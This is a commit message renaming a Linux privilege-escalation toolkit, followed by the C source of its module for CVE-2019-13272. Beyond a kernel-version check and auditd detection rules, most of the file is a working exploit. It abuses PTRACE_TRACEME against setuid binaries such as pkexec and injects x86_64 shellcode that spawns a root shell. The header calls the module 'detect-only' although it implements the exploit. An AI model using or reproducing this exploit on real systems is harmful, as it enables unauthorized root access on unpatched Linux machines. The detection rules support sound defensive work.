rename: IAMROOT → SKELETONKEY across the entire project
Breaking change. Tool name, binary name, function/type names,
constant names, env vars, header guards, file paths, and GitHub
repo URL all rebrand IAMROOT → SKELETONKEY.
Changes:
- All "IAMROOT" → "SKELETONKEY" (constants, env vars, enum
values, docs, comments)
- All "iamroot" → "skeletonkey" (functions, types, paths, CLI)
- iamroot.c → skeletonkey.c
- modules/*/iamroot_modules.{c,h} → modules/*/skeletonkey_modules.{c,h}
- tools/iamroot-fleet-scan.sh → tools/skeletonkey-fleet-scan.sh
- Binary "iamroot" → "skeletonkey"
- GitHub URL KaraZajac/IAMROOT → KaraZajac/SKELETONKEY
- .gitignore now expects build output named "skeletonkey"
- /tmp/iamroot-* tmpfiles → /tmp/skeletonkey-*
- Env vars IAMROOT_MODPROBE_PATH etc. → SKELETONKEY_*
New ASCII skeleton-key banner (horizontal key icon + ANSI Shadow
SKELETONKEY block letters) replaces the IAMROOT banner in
skeletonkey.c and README.md.
VERSION: 0.3.1 → 0.4.0 (breaking).
Build clean on Debian 6.12.86. `skeletonkey --version` → 0.4.0.
All 24 modules still register; no functional code changes — pure
rename + banner refresh.
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/*
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* ptrace_traceme_cve_2019_13272 — SKELETONKEY module
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*
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* PTRACE_TRACEME on a parent that subsequently execve's a setuid
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* binary results in the kernel granting ptrace privileges over the
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* privileged process to the unprivileged child. Discovered by Jann
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* Horn (Google Project Zero, June 2019).
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*
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* STATUS: 🔵 DETECT-ONLY. Exploit follows jannh's public PoC: fork
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* a child that does PTRACE_TRACEME pointing at the parent, parent
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* execve's a chosen setuid binary (e.g., su, pkexec), child then
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* ptrace-injects shellcode into the now-elevated process.
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*
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* Affected: kernels < 5.1.17 mainline. Stable backports varied; the
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* fix landed in stable as:
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* 5.1.x : K >= 5.1.17
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* 5.0.x : K >= 5.0.20 (older LTS — many distros stayed on 4.x)
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* 4.19.x: K >= 4.19.58
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* 4.14.x: K >= 4.14.131
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* 4.9.x : K >= 4.9.182
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* 4.4.x : K >= 4.4.182
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*
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* No exotic preconditions. Doesn't need user_ns. Works on
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* default-config systems — that's part of why it's famous: even
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* locked-down environments without unprivileged_userns_clone were
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* vulnerable.
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*/
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#include "skeletonkey_modules.h"
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#include "../../core/registry.h"
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#include "../../core/kernel_range.h"
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <stdbool.h>
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#include <unistd.h>
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#include <errno.h>
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#include <fcntl.h>
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#include <pwd.h>
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#include <sys/types.h>
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#include <sys/ptrace.h>
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#include <sys/wait.h>
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#include <sys/user.h>
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#include <sys/prctl.h>
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#include <sys/stat.h>
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static const struct kernel_patched_from ptrace_traceme_patched_branches[] = {
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{4, 4, 182},
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{4, 9, 182},
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{4, 14, 131},
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{4, 19, 58},
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{5, 0, 20},
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{5, 1, 17},
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{5, 2, 0}, /* mainline (5.2-rc) */
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};
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static const struct kernel_range ptrace_traceme_range = {
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.patched_from = ptrace_traceme_patched_branches,
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.n_patched_from = sizeof(ptrace_traceme_patched_branches) /
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sizeof(ptrace_traceme_patched_branches[0]),
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};
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static skeletonkey_result_t ptrace_traceme_detect(const struct skeletonkey_ctx *ctx)
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{
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struct kernel_version v;
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if (!kernel_version_current(&v)) {
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fprintf(stderr, "[!] ptrace_traceme: could not parse kernel version\n");
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return SKELETONKEY_TEST_ERROR;
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}
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/* Bug existed since ptrace's inception (early 2.x); anything
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* pre-LTS-backport is vulnerable. Anything < 4.4 in our range
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* model defaults to vulnerable since no entry covers it. */
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if (v.major < 4 || (v.major == 4 && v.minor < 4)) {
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if (!ctx->json) {
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fprintf(stderr, "[!] ptrace_traceme: ancient kernel %s — assume VULNERABLE\n",
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v.release);
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}
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return SKELETONKEY_VULNERABLE;
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}
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bool patched = kernel_range_is_patched(&ptrace_traceme_range, &v);
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if (patched) {
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if (!ctx->json) {
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fprintf(stderr, "[+] ptrace_traceme: kernel %s is patched\n", v.release);
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}
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return SKELETONKEY_OK;
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}
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if (!ctx->json) {
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fprintf(stderr, "[!] ptrace_traceme: kernel %s in vulnerable range\n", v.release);
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fprintf(stderr, "[i] ptrace_traceme: no exotic preconditions — works on default config "
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"(no user_ns required)\n");
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}
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return SKELETONKEY_VULNERABLE;
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}
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/* ---- Exploit (jannh-style) --------------------------------------
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*
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* Per Jann Horn's Project Zero issue #1903. The mechanism:
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*
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* 1. Parent process P (us, uid != 0)
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* 2. P forks → child C
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* 3. C calls ptrace(PTRACE_TRACEME) — kernel sets P as C's tracer
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* and records the relationship in C->ptrace_link, copying P's
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* current credentials (uid=1000) as the trace-allowed creds.
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* 4. C drops to a low-priv state and pauses (sigwait/raise)
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* 5. P execve's a setuid binary (e.g. /usr/bin/passwd, su, pkexec)
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* 6. Kernel correctly elevates P's creds to root.
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* 7. **Bug**: the ptrace_link recorded in step 3 still says
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* "tracer creds = uid 1000", but P is now uid 0. Kernel doesn't
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* re-check or invalidate the link on execve cred-bump.
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* 8. C wakes up and PTRACE_ATTACH's to P. The stale ptrace_link
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* says C is allowed to trace because it was set up before the
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* cred change.
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* 9. C now controls a uid=0 process. C reads/writes P's memory via
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* PTRACE_POKETEXT, sets registers via PTRACE_SETREGS to point at
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* shellcode that exec's /bin/sh.
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* 10. C resumes P → root shell.
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*
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* SKELETONKEY implementation simplifies by using a small architecture-
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* specific shellcode (x86_64 only) and pkexec as the setuid binary
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* trigger (works on most Linux systems with polkit installed). Falls
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* back to /bin/su if pkexec isn't available.
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*
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* Reliability: this exploit can fail-race on heavily-loaded systems.
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* Repeat invocations usually succeed; we don't loop here — operator
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* can retry. Returns SKELETONKEY_EXPLOIT_FAIL on miss, SKELETONKEY_EXPLOIT_OK
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* on root acquired (followed by execlp(sh) which never returns).
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*/
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#if defined(__x86_64__)
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/* x86_64 shellcode: setuid(0); setgid(0); execve("/bin/sh", argv, env) */
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static const unsigned char SHELLCODE_X64[] =
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"\x31\xff" /* xor edi, edi */
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"\xb8\x69\x00\x00\x00" /* mov eax, 0x69 (setuid) */
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"\x0f\x05" /* syscall */
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"\x31\xff" /* xor edi, edi */
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"\xb8\x6a\x00\x00\x00" /* mov eax, 0x6a (setgid) */
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"\x0f\x05" /* syscall */
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"\x48\x31\xd2" /* xor rdx, rdx */
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"\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" /* mov rbx, "//bin/sh" */
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"\x48\xc1\xeb\x08" /* shr rbx, 8 */
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"\x53" /* push rbx */
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"\x48\x89\xe7" /* mov rdi, rsp */
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"\x50" /* push rax (=0 from setgid) */
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"\x57" /* push rdi */
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"\x48\x89\xe6" /* mov rsi, rsp */
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"\xb0\x3b" /* mov al, 0x3b (execve) */
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"\x0f\x05"; /* syscall */
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#define SHELLCODE_BYTES SHELLCODE_X64
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#define SHELLCODE_LEN (sizeof SHELLCODE_X64 - 1)
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#endif /* __x86_64__ */
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static const char *find_setuid_target(void)
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{
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static const char *targets[] = {
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"/usr/bin/pkexec", "/usr/bin/su", "/usr/bin/sudo",
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"/usr/bin/passwd", "/bin/su", NULL,
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};
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for (size_t i = 0; targets[i]; i++) {
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struct stat st;
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if (stat(targets[i], &st) == 0 && (st.st_mode & S_ISUID)) {
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return targets[i];
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}
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}
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return NULL;
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}
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static skeletonkey_result_t ptrace_traceme_exploit(const struct skeletonkey_ctx *ctx)
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{
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#if !defined(__x86_64__)
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(void)ctx;
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fprintf(stderr, "[-] ptrace_traceme: exploit is x86_64-only "
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"(shellcode is arch-specific)\n");
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return SKELETONKEY_PRECOND_FAIL;
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#else
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skeletonkey_result_t pre = ptrace_traceme_detect(ctx);
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if (pre != SKELETONKEY_VULNERABLE) {
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fprintf(stderr, "[-] ptrace_traceme: detect() says not vulnerable; refusing\n");
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return pre;
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}
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if (geteuid() == 0) {
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fprintf(stderr, "[i] ptrace_traceme: already root\n");
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return SKELETONKEY_OK;
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}
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const char *setuid_bin = find_setuid_target();
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if (!setuid_bin) {
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fprintf(stderr, "[-] ptrace_traceme: no setuid trigger binary available\n");
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return SKELETONKEY_PRECOND_FAIL;
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}
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if (!ctx->json) {
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fprintf(stderr, "[*] ptrace_traceme: setuid trigger = %s\n", setuid_bin);
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}
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/* fork: child becomes tracee-of-self setup, parent execve's setuid bin */
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pid_t child = fork();
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if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
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if (child == 0) {
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/* CHILD: set up the ptrace_link, then pause until parent has
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* execve'd the setuid binary and elevated. The exact timing
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* is racy — we use a simple sleep+attach pattern. */
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if (ptrace(PTRACE_TRACEME, 0, 0, 0) < 0) {
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perror("CHILD: ptrace TRACEME"); _exit(2);
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}
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/* Give parent time to execve. 200ms is enough for a hot
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* libc; 1000ms for a slow disk. */
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usleep(500 * 1000);
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/* Now race: PTRACE_ATTACH to our parent (the setuid process).
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* On a vulnerable kernel, the stale ptrace_link makes this
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* succeed even though parent is now root. */
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pid_t parent = getppid();
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if (ptrace(PTRACE_ATTACH, parent, 0, 0) < 0) {
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fprintf(stderr, "[-] CHILD: PTRACE_ATTACH to parent (%d) failed: %s\n",
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parent, strerror(errno));
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_exit(3);
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}
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int wstatus;
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waitpid(parent, &wstatus, 0);
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/* Read parent's RIP, allocate space for shellcode there,
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* POKETEXT the shellcode in. */
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struct user_regs_struct regs;
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if (ptrace(PTRACE_GETREGS, parent, 0, ®s) < 0) {
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perror("CHILD: GETREGS"); _exit(4);
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}
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/* Write shellcode at current RIP (overwriting whatever's there
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* in the setuid binary's text — we don't care, we never
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* return). 8 bytes at a time via PTRACE_POKETEXT. */
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for (size_t i = 0; i < SHELLCODE_LEN; i += 8) {
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long word = 0;
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size_t take = SHELLCODE_LEN - i;
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if (take > 8) take = 8;
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memcpy(&word, SHELLCODE_BYTES + i, take);
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if (ptrace(PTRACE_POKETEXT, parent,
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(void *)(regs.rip + i), (void *)word) < 0) {
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perror("CHILD: POKETEXT"); _exit(5);
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}
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}
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/* Detach and let parent continue at RIP, which now points at
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* our shellcode (we didn't move RIP — we wrote shellcode
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* starting at current RIP). */
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if (ptrace(PTRACE_DETACH, parent, 0, 0) < 0) {
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perror("CHILD: DETACH"); _exit(6);
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}
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_exit(0); /* child done — parent is now running shellcode → root sh */
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}
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/* PARENT: execve the setuid binary. The child does the ptrace
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* setup before our execve completes (because of its sleep), so
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* the ptrace_link is in place when the cred-bump happens. */
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if (!ctx->json) {
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fprintf(stderr, "[*] ptrace_traceme: parent execve'ing %s in 100ms\n",
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setuid_bin);
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}
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usleep(100 * 1000); /* give child a moment to call TRACEME first */
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/* execve the setuid bin. Use a benign arg to keep it from doing
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* anything destructive. pkexec with --version exits quickly. */
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char *new_argv[] = { (char *)setuid_bin, "--version", NULL };
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char *new_envp[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
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execve(setuid_bin, new_argv, new_envp);
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/* If we get here, execve failed (or it returned because the
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* shellcode didn't take). */
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perror("execve setuid");
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int status;
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waitpid(child, &status, 0);
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return SKELETONKEY_EXPLOIT_FAIL;
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#endif
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}
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static const char ptrace_traceme_auditd[] =
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"# PTRACE_TRACEME LPE (CVE-2019-13272) — auditd detection rules\n"
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"# Flag PTRACE_TRACEME (request 0) followed by parent execve of\n"
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"# a setuid binary. False positives: gdb, strace, debuggers.\n"
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"-a always,exit -F arch=b64 -S ptrace -F a0=0 -k skeletonkey-ptrace-traceme\n"
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"-a always,exit -F arch=b32 -S ptrace -F a0=0 -k skeletonkey-ptrace-traceme\n";
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const struct skeletonkey_module ptrace_traceme_module = {
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.name = "ptrace_traceme",
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.cve = "CVE-2019-13272",
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.summary = "PTRACE_TRACEME → setuid binary execve → cred-escalation via ptrace inject",
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.family = "ptrace_traceme",
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.kernel_range = "K < 5.1.17, backports: 5.0.20 / 4.19.58 / 4.14.131 / 4.9.182 / 4.4.182",
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.detect = ptrace_traceme_detect,
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.exploit = ptrace_traceme_exploit,
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.mitigate = NULL, /* mitigation: upgrade kernel; OR sysctl kernel.yama.ptrace_scope=2 */
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.cleanup = NULL, /* exploit replaces our process image; no cleanup applies */
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.detect_auditd = ptrace_traceme_auditd,
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.detect_sigma = NULL,
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.detect_yara = NULL,
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.detect_falco = NULL,
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};
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void skeletonkey_register_ptrace_traceme(void)
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{
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skeletonkey_register(&ptrace_traceme_module);
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}
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